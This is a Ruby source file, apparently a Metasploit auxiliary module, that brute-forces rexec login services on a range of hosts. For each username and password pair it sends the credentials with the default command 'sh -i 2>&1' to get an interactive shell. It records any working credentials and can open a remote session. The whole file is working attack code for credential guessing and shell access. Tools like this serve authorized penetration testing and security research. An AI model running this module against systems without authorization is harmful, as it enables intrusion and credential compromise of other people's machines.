modules/auxiliary/scanner/rservices/rexec_login.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
include Msf::Sessions::CreateSessionOptions
include Msf::Auxiliary::ReportSummary
def initialize
super(
'Name' => 'rexec Authentication Scanner',
'Description' => %q{
This module will test an rexec service on a range of machines and
report successful logins.
NOTE: This module requires access to bind to privileged ports (below 1024).
},
'References' =>
[
[ 'CVE', '1999-0651' ],
[ 'CVE', '1999-0502'] # Weak password
],
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(512),
OptBool.new('ENABLE_STDERR', [ true, 'Enables connecting the stderr port', false ]),
OptInt.new( 'STDERR_PORT', [ false, 'The port to listen on for stderr', nil ])
])
end
def run_host(ip)
print_status("#{ip}:#{rport} - Starting rexec sweep")
if datastore['ENABLE_STDERR']
# For each host, bind a privileged listening port for the target to connect
# back to.
ret = listen_on_random_port(datastore['STDERR_PORT'])
if not ret
return :abort
end
sd, stderr_port = ret
else
sd = stderr_port = nil
end
# The maximum time for a host is set here.
Timeout.timeout(300) {
each_user_pass { |user, pass|
do_login(user, pass, sd, stderr_port)
}
}
sd.close if sd
end
def do_login(user, pass, sfd, stderr_port)
vprint_status("#{target_host}:#{rport} - Attempting rexec with username:password '#{user}':'#{pass}'")
cmd = datastore['CMD']
cmd ||= 'sh -i 2>&1'
# We must connect from a privileged port.
return :abort if not connect
sock.put("#{stderr_port}\x00#{user}\x00#{pass}\x00#{cmd}\x00")
if sfd and stderr_port
stderr_sock = sfd.accept
add_socket(stderr_sock)
else
stderr_sock = nil
end
# NOTE: We report this here, since we are awfully convinced now that this is really
# an rexec service.
report_service(
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => 'exec'
)
# Read the expected nul byte response.
buf = sock.get_once(1) || ''
if buf != "\x00"
buf = sock.get_once(-1) || ""
vprint_error("Result: #{buf.gsub(/[[:space:]]+/, ' ')}")
return :failed
end
# should we report a vuln here? rexec allowed w/o password?!
print_good("#{target_host}:#{rport}, rexec '#{user}' : '#{pass}'")
start_rexec_session(rhost, rport, user, pass, buf, stderr_sock)
return :next_user
# For debugging only.
#rescue ::Exception
# print_error("#{$!}")
#return :abort
ensure
disconnect()
end
#
# This is only needed by rexec so it is not in the rservices mixin
#
def listen_on_random_port(specific_port = 0)
stderr_port = nil
if specific_port > 0
stderr_port = specific_port
sd = listen_on_port(stderr_port)
else
stderr_port = 1024 + rand(0x10000 - 1024)
512.times {
sd = listen_on_port(stderr_port)
break if sd
stderr_port = 1024 + rand(0x10000 - 1024)
}
end
if not sd
print_error("Unable to bind to listener port")
return false
end
add_socket(sd)
print_status("Listening on port #{stderr_port}")
[ sd, stderr_port ]
end
def listen_on_port(stderr_port)
vprint_status("Trying to listen on port #{stderr_port} ..")
sd = nil
begin
sd = Rex::Socket.create_tcp_server('LocalPort' => stderr_port)
rescue Rex::BindFailed
# Ignore and try again
end
sd
end
def start_rexec_session(host, port, user, pass, proof, stderr_sock)
service_data = {
address: host,
port: port,
service_name: 'exec',
proof: proof,
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
username: user,
# Save a reference to the socket so we don't GC prematurely
stderr_sock: stderr_sock
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
if datastore['CreateSession']
start_session(self, "rexec #{user}:#{pass} (#{host}:#{port})", login_data, false, self.sock)
# Don't tie the life of this socket to the exploit
self.sockets.delete(stderr_sock)
self.sock = nil
end
end
end